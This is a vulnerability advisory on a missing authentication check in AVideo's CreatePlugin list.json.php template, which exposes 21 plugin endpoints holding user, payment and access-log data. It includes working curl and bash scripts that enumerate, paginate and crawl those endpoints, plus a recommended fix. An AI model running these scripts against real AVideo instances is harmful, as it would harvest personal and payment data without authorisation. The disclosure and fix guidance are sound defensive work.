Summary

The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.

Details

The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:

// CreatePlugin/templates/add.json.php:12
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/delete.json.php:11
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/list.json.php
// NO authentication check - accessible to anyone

This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.

Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:

GET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1

Response (HTTP 200):

{
  "data": [
    {
      "id": 1,
      "users_id": 42,
      "ip": "REDACTED",
      "user_agent": "Mozilla/5.0 ...",
      "created": "2025-01-15 14:32:00",
      "room_name": "private-meeting-xyz"
    }
  ]
}

The 21 affected endpoints generated from this template include:

Proof of Concept

Step 1: Enumerate accessible list endpoints (no authentication required):

#!/bin/bash
TARGET="https://your-avideo-instance.com"

ENDPOINTS=(
  "plugin/Meet/View/Meet_join_log/list.json.php"
  "plugin/PayPalYPT/View/PayPalYPT_log/list.json.php"
  "plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php"
  "plugin/CustomizeUser/View/Users_extra_info/list.json.php"
  "plugin/UserNotifications/View/User_notifications/list.json.php"
  "plugin/UserConnections/View/Users_connections/list.json.php"
)

for endpoint in "${ENDPOINTS[@]}"; do
  echo "=== $endpoint ==="
  HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w "%{http_code}" "$TARGET/$endpoint")
  echo "Status: $HTTP_CODE"
  if [ "$HTTP_CODE" = "200" ]; then
    echo "VULNERABLE - Data returned:"
    python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20
  fi
  echo ""
done

Step 2: Retrieve paginated results from a specific endpoint:

# Fetch meeting join logs with pagination
curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

# Fetch payment logs
curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

Step 3: Discover additional vulnerable endpoints by scanning plugin directories:

curl -s "https://your-avideo-instance.com/plugin/" \
  | grep -oP 'href="([^"]+)/"' \
  | while read plugin; do
    PLUGIN_NAME=$(echo "$plugin" | grep -oP '"([^"]+)/"' | tr -d '"/')
    URL="$TARGET/plugin/$PLUGIN_NAME/View/"
    curl -s "$URL" | grep -oP 'href="([^"]+)/"' | while read view; do
      VIEW_NAME=$(echo "$view" | grep -oP '"([^"]+)/"' | tr -d '"/')
      LIST_URL="$TARGET/plugin/$PLUGIN_NAME/View/$VIEW_NAME/list.json.php"
      CODE=$(curl -s -o /dev/null -w "%{http_code}" "$LIST_URL")
      [ "$CODE" = "200" ] && echo "FOUND: $LIST_URL"
    done
  done

Impact

21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:

• User PII: Extended profile information, email addresses, user IDs
• Payment data: PayPal and Authorize.Net transaction logs, payment amounts, buyer details
• Access logs: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs
• Social graphs: User connection and relationship data
• Activity records: Notification history revealing user behavior patterns

This is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.

• CWE-306: Missing Authentication for Critical Function
• Severity: Medium

Recommended Fix

Add an admin authentication check to CreatePlugin/templates/list.json.php after the require lines, matching the pattern used in add.json.php and delete.json.php:

// CreatePlugin/templates/list.json.php (after the require lines)
if (!User::isAdmin()) {
    die(json_encode(['error' => true]));
}

This fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated list.json.php endpoints by adding the same admin check after their require lines.
